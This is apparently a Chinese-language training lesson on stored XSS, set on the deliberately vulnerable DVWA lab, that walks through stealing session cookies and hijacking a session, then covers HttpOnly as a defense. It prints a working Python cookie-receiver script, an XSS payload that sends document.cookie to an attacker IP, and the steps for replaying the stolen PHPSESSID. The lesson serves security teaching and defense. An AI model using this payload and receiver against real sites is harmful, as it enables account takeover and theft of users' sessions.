以下是第七周周二学习内容。今天将亲眼见证 XSS 的真正威力——它远不止弹窗恶作剧,而是可以静默窃取用户登录凭证、劫持会话,甚至接管账户。你将在 DVWA 靶场上完成一次经典的存储型 XSS Cookie 窃取攻击,并深刻理解 HttpOnly 等防御措施的重要性。
第七周·周二:XSS 利用进阶——Cookie 窃取与会话劫持演示
🎯 今日学习目标(达成效果)
- 能说出XSS 攻击至少四种实际危害:Cookie 窃取、会话劫持、钓鱼欺骗、网页篡改;
- 能独立搭建一个简易的 Cookie 接收器(Python 脚本),监听攻击者服务器端口,等待受害者浏览器自动发送 Cookie;
- 能在 DVWA 低安全等级下,利用存储型 XSS 注入恶意脚本,使得任何访问该页面的用户都会将 Cookie 悄悄发送到攻击者服务器;
- 能使用浏览器开发者工具和攻击者接收端日志,验证 Cookie 确实被窃取;
- 能用窃取到的 Cookie在另一个浏览器或无痕窗口中实现会话劫持,无需密码即可登录受害者账户;
- 能解释为什么设置
HttpOnly标志可以有效防止 JavaScript 读取 Cookie,从而阻断 Cookie 窃取型 XSS; - 能从攻防两面总结:XSS 的根源是输出未编码,但深入利用需要理解 Cookie 属性、同源策略和 JavaScript 网络请求。
📘 一、XSS 的真实危害——不只是弹窗
昨天我们通过<script>alert('xss')</script>验证了漏洞存在,但在真实攻击中,没有人会只为了弹窗。攻击者利用 XSS 可以:
- 窃取 Cookie:读取
document.cookie并发送到远程服务器,通常用于劫持会话。 - 会话劫持:使用窃取的 Session ID 伪造用户身份,无需密码登录账户。
- 钓鱼:在页面中动态插入虚假登录框,骗取用户密码。
- 网页篡改:修改页面内容、重定向到恶意网站,进行欺诈或传播病毒。
- 键盘记录/浏览器利用:监听键盘事件,或利用浏览器漏洞进一步控制系统。
今天聚焦最经典的攻击链:存储型 XSS → Cookie 窃取 → 会话劫持。这也是推动 HttpOnly Cookie 广泛部署的直接原因。
📘 二、攻击原理与必要条件
1. 存储型 XSS 的传播优势
攻击者将恶意脚本提交到留言板、个人资料等位置,脚本存储在服务端。任何访问该页面的用户都会触发脚本。不需要诱导点击,传染性极强。
2. JavaScript 读取 Cookie
在浏览器中,document.cookie会返回当前域下所有非 HttpOnly的 Cookie 字符串。如果会话 ID 存储在 Cookie 中且未设置HttpOnly,攻击者脚本可以轻易获取。
3. 将数据外传
由于同源策略限制,脚本不能直接读取其他站点的内容,但可以向任意远程服务器发送请求(如Image、fetch)。常见手法:
newImage().src='http://攻击者IP/log?cookie='+document.cookie;浏览器请求这张“图片”时,Cookie 就被附加在 URL 中发送给了攻击者。
4. 接收端
攻击者只需要一个简单的 HTTP 服务器监听,解析请求中的查询参数,即可记录受害者 Cookie。
✍️ 三、动手实践:DVWA 存储型 XSS Cookie 窃取全流程
实验环境:
- 攻击者服务器(你的 Kali 或本机)IP 地址:
192.168.1.100(请替换为你的实际 IP) - DVWA 靶机:
http://192.168.1.200(或同一台机器,使用 127.0.0.1 亦可,但跨 IP 更真实) - 确保 DVWA 安全等级设为Low,并登录。
步骤 1:搭建攻击者 Cookie 接收器
在你的攻击机上创建一个 Python 脚本steal.py,用于监听端口并记录任何访问:
fromhttp.serverimportHTTPServer,BaseHTTPRequestHandlerimportsysclassCookieHandler(BaseHTTPRequestHandler):defdo_GET(self):# 打印完整的请求路径(包含Cookie)print(f"[+] 收到窃取请求:{self.path}")# 从路径中提取cookie(示例:/log?cookie=xxx)if'cookie='inself.path:cookie_value=self.path.split('cookie=')[1].split(' ')[0]withopen('cookies.txt','a')asf:f.write(cookie_value+'\n')print(f"[!] 成功记录Cookie:{cookie_value}")# 返回一个1x1透明像素,避免引起怀疑self.send_response(200)self.send_header('Content-type','image/gif')self.end_headers()# 透明GIF的base64self.wfile.write(b'\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\xff\xff\xff\x00\x00\x00\x21\xf9\x04\x00\x00\x00\x00\x00\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02\x44\x01\x00\x3b')if__name__=='__main__':port=9999server=HTTPServer(('0.0.0.0',port),CookieHandler)print(f'[*] Cookie接收器运行在端口{port}...')server.serve_forever()运行python3 steal.py,监听在 9999 端口。
步骤 2:在 DVWA 中注入恶意脚本
进入 DVWA → XSS (Stored) 页面(存储型XSS)。
在留言板文本框中输入以下 payload(注意替换 IP 为你的攻击机 IP):
<script>newImage().src='http://192.168.1.100:9999/log?cookie='+document.cookie;</script>点击 “Sign Guestbook”。此时你本人会触发一次该脚本,但因为是管理员,我们暂不计。刷新页面或清除留言后,留言已被存储。
步骤 3:模拟受害者访问,触发窃取
- 打开另一个浏览器(如 Edge),或使用无痕窗口(确保该浏览器未登录 DVWA 的任何会话,然后登录 DVWA 作为普通用户,或者直接以未登录状态访问留言板页面,但为了窃取 Cookie,受害者必须先登录并获得会话 Cookie)。
- 使用该浏览器访问 DVWA 的存储型 XSS 页面(即留言板列表页)。DVWA 通常会显示所有留言,脚本自动执行。
- 此时,查看攻击机终端,你将看到类似:
[+] 收到窃取请求: /log?cookie=PHPSESSID=abc123; security=low [!] 成功记录Cookie: PHPSESSID=abc123; security=low
cookies.txt文件中会保存完整的 Cookie 字符串。
步骤 4:使用窃取的 Cookie 进行会话劫持
- 在原浏览器中退出 DVWA(或清除 Cookie),关闭页面。
- 打开完全不同的浏览器(如之前用 Chrome,现用 Firefox)或继续在无痕窗口,确保没有任何 DVWA Cookie。
- 按 F12 打开开发者工具 → Application → Cookies,手动添加一条 Cookie:
- 名称:
PHPSESSID(根据实际窃取到的键名) - 值:从
cookies.txt中复制过来的哈希值 - 域名和路径保持默认(与 DVWA 站点一致)。
- 名称:
- 直接访问
http://192.168.1.200/DVWA/index.php,你会发现无需用户名密码,已经成功以受害者身份登录。 - 可以进入其他页面,操作完全受攻击者控制。
安全启示:这就是会话劫持——拿到会话 ID,就等于拿到了账户。即使密码再复杂也无济于事。
📘 四、关键的防御:HttpOnly Cookie
如果被窃取的PHPSESSIDCookie 设置了HttpOnly标志(在Set-Cookie响应头中可见),JavaScript 的document.cookie将无法读取它。上述攻击就会失败。
在 PHP 中设置:
session.cookie_httponly=1或在调用setcookie()时传入第7个参数true。
今天你可以在实验后修改 DVWA 的配置(或 PHP 配置),将session.cookie_httponly开启,然后再试一次,会发现document.cookie中不再包含PHPSESSID。这证明了 HttpOnly 是防御 Cookie 窃取型 XSS 的第一道坚实屏障。
但注意:即使 HttpOnly 阻止了 Cookie 读取,攻击者仍可通过 XSS 进行其他操作(如发起伪造请求、修改页面、钓鱼),因此根治 XSS 仍需要输出编码。
📝 五、课后测试题与解析
测试题 1:在 DVWA 存储型 XSS 中植入窃取 Cookie 的脚本,并在攻击端收到 Cookie。写出你使用的 payload,并简述窃取原理。
参考答案:
Payload:
<script>newImage().src='http://攻击者IP:9999/log?cookie='+document.cookie;</script>原理:该脚本通过创建 Image 对象,向攻击者服务器发送一个 HTTP GET 请求,请求路径中包含document.cookie的值。由于浏览器对<img>标签的加载没有跨域限制,攻击者服务器可以接收到该请求并提取出 Cookie 信息。前提是 Cookie 未设置HttpOnly属性。
测试题 2:如何通过设置 Cookie 的 HttpOnly 属性防御 XSS 窃取 Cookie?
参考答案:
在服务端设置 Cookie 时,添加HttpOnly标志(例如在 PHP 中,setcookie('name','value',0,'/','',false,true)的最后一个参数为 true,或session.cookie_httponly = On)。设置后,浏览器将禁止 JavaScript 通过document.cookie访问该 Cookie,从而有效防止 XSS 脚本直接窃取会话 ID。但 HttpOnly 不能防御所有类型的 XSS 攻击(如利用 XSS 直接发起 CSRF 请求),因此仍需对输出进行编码来根除 XSS。
✅ 今日学习效果自检清单
- 我搭建了 Cookie 接收器并成功记录了受害者的会话 Cookie
- 我在 DVWA 存储型 XSS 中植入了恶意脚本,并触发了窃取
- 我使用窃取的 Cookie 在另一个浏览器中无需密码登录了 DVWA
- 我理解了
document.cookie与 HttpOnly 的关系 - 我能用一句话向别人解释为什么 HttpOnly Cookie 能防 XSS 窃取会话
- 我知道 XSS 的危害远不止弹窗,而是可以完全接管用户账户
⚠️ 阶段避坑重点
- 攻击者 IP 必须可达:确保靶机可以访问你的攻击机 IP(同一网段或 NAT 设置正确),否则
new Image请求会失败。 - 不要窃取自己的 Cookie 就以为成功:必须用另一个浏览器或隐私窗口,模拟真实受害者环境,才能真正理解会话劫持的全过程。
- 存储型 XSS 的“自触发”问题:提交 payload 时你自己的浏览器也会执行,这可能导致你自己的 Cookie 被记录(属于正常现象)。用不同浏览器可以清晰区分攻击者与受害者。
- Cookie 路径和域:手动设置 Cookie 进行劫持时,务必确保路径和域与实际 Cookie 一致,否则浏览器不会发送。
- 防火墙和端口:确保攻击机 9999 端口没有被防火墙拦截,否则无法接收连接。
- 实验后清理:在 DVWA 中删除包含恶意脚本的留言,或重置数据库,避免影响他人或后续实验。
今天你亲手打通了 XSS 攻击链中最经典的一环。明天我们将学习 XSS 的各种绕过技巧和内容安全策略(CSP)的防御,你将看到攻击者如何面对输入过滤,以及防御者如何布下天罗地网。请保留攻击机环境,我们还会继续使用。